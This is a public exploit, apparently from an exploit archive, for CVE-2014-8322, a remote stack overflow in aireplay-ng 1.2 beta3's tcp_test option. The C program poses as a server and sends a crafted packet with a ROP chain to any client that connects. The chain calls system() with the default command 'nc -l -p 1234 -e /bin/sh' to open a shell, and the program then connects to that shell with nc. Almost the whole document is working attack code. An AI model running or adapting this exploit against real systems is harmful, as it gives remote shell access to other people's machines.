Aireplay-ng 1.2 beta3 - 'tcp_test' Length Stack Overflow

/*
 * Exploit Title: Aireplay "tcp_test" Length Parameter Inconsistency
 * Date: 10/3/2014
 * Exploit Author: Nick Sampanis
 * Vendor Homepage: http://www.aircrack-ng.org/
 * Version: Aireplay-ng 1.2 beta3
 * Tested on: Kali Linux 1.0.9 x64
 * CVE : CVE-2014-8322
 * Description: Affected option "aireplay-ng --test"
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define __packed __attribute__ ((__packed__))
struct net_hdr {
    uint8_t     nh_type;
    uint32_t    nh_len;
    uint8_t     nh_data[0];
}__packed;

#define POP_RDI     "\xb8\x29\x40\x00\x00\x00\x00\x00"
#define POP_RBX     "\x88\x92\x41\x00\x00\x00\x00\x00"
#define RPOP_RBX    "\x00\x00\x00\x00\x00\x88\x92\x41"
#define MOV_TO_RDI  "\xf3\x47\x41\x00\x00\x00\x00\x00"
#define COMMAND     "nc -l -p 1234 -e /bin/sh\x00"
#define SYSTEM      "\x50\x23\x40\x00\x00\x00\x00\x00"
#define PAD_BYTES   1304

unsigned char *exploit_init(char *command, size_t size);

int main(int argc, char *argv[])
{
    struct net_hdr rh;
    struct sockaddr_in server, client;
    unsigned char *exploit;
    socklen_t len;
    size_t size;
    char *command, exec[1024];
    int sockfd, cl, val = 1;

    printf("[+]Exploit for aireplay-ng tcp_test remote stack overflow\n");
    printf("[+]Written by Nick Sampanis CVE-2014-8322\n");
    if (argc == 1) {
        fprintf(stderr,"[-]Usage: %s port command\n"
                "[-][Default %s]\n", argv[0], COMMAND);
        return -1;
    }
    if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("[-]Socket()");
        return -1;
    }
    memset((char *)&server, '\0', sizeof(server));
    len = sizeof(server);
    server.sin_addr.s_addr = 0;
    server.sin_port = htons(atoi(argv[1]));
    server.sin_family = AF_INET;
    if (argv[2])
        command = argv[2];
    else
        command = COMMAND;

    setsockopt(sockfd, SOL_SOCKET,SO_REUSEADDR, &val, sizeof(val));
    if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) {
        perror("bind()");
        return -1;
    }
    if (listen(sockfd, 5) == -1) {
        perror("listen()");
        return -1;
    }
    printf("[+]Server is waiting for connections on port %d\n", atoi(argv[1]));

    if (!(size = (strlen(command)+8)*5/4*8+PAD_BYTES+sizeof(rh)))
        return -1;
    exploit = exploit_init(command, size);
    while (1) {
        if ((cl = accept(sockfd, (struct sockaddr *)&client, &len)) == -1) {
            perror("[-]Accept");
            return -1;
        }
        printf("[+]Client %s has been connected\n", inet_ntoa(client.sin_addr));
        if (send(cl, exploit, size, 0) == -1) {
            perror("[-]Send");
            return -1;
        }
        if (recv(cl, &rh, sizeof(rh), 0) == -1) {
            perror("[-]Recv");
            return -1;
        }
        close(cl);
        sleep(1);
        if (!argv[2]) {
            printf("[+]Enjoy your shell\n\n");
            snprintf(exec, sizeof(exec), "nc %s %d", 
                    inet_ntoa(client.sin_addr), atoi(argv[1]));
            system(exec);
        }
        
    }
    close(sockfd);
    free(exploit);

    return 0;
}

unsigned char *exploit_init(char *command, size_t size)
{
    unsigned long DATA = 0x6265a0;
    unsigned char *buffer, *exploit;
    struct net_hdr nh;
    register int i, j;

    buffer = malloc(size);
    nh.nh_type = 0x1;
    nh.nh_len = htonl(size-sizeof(nh));
    memcpy(buffer, &nh, sizeof(nh));
    memset(buffer+sizeof(nh), 'A', PAD_BYTES);
    exploit = buffer+sizeof(nh)+PAD_BYTES;

    for (i = j = 0; j < strlen(command)+4; i+=5) {
        memcpy(exploit+i*8, POP_RDI, 8);
        memcpy(exploit+(i+1)*8, &DATA, 8);
        memcpy(exploit+(i+2)*8, POP_RBX, 8);
        memcpy(exploit+(i+3)*8, command+j, 8);
        memcpy(exploit+(i+4)*8, MOV_TO_RDI, 8);
        DATA += 4;
        j += 4;
    }
    DATA = 0x6265a0; /*.data*/
    memcpy(exploit+i*8, POP_RDI, 8);
    memcpy(exploit+(i+1)*8, &DATA, 8); 
    memcpy(exploit+(i+2)*8, SYSTEM, 8);

    return buffer;
}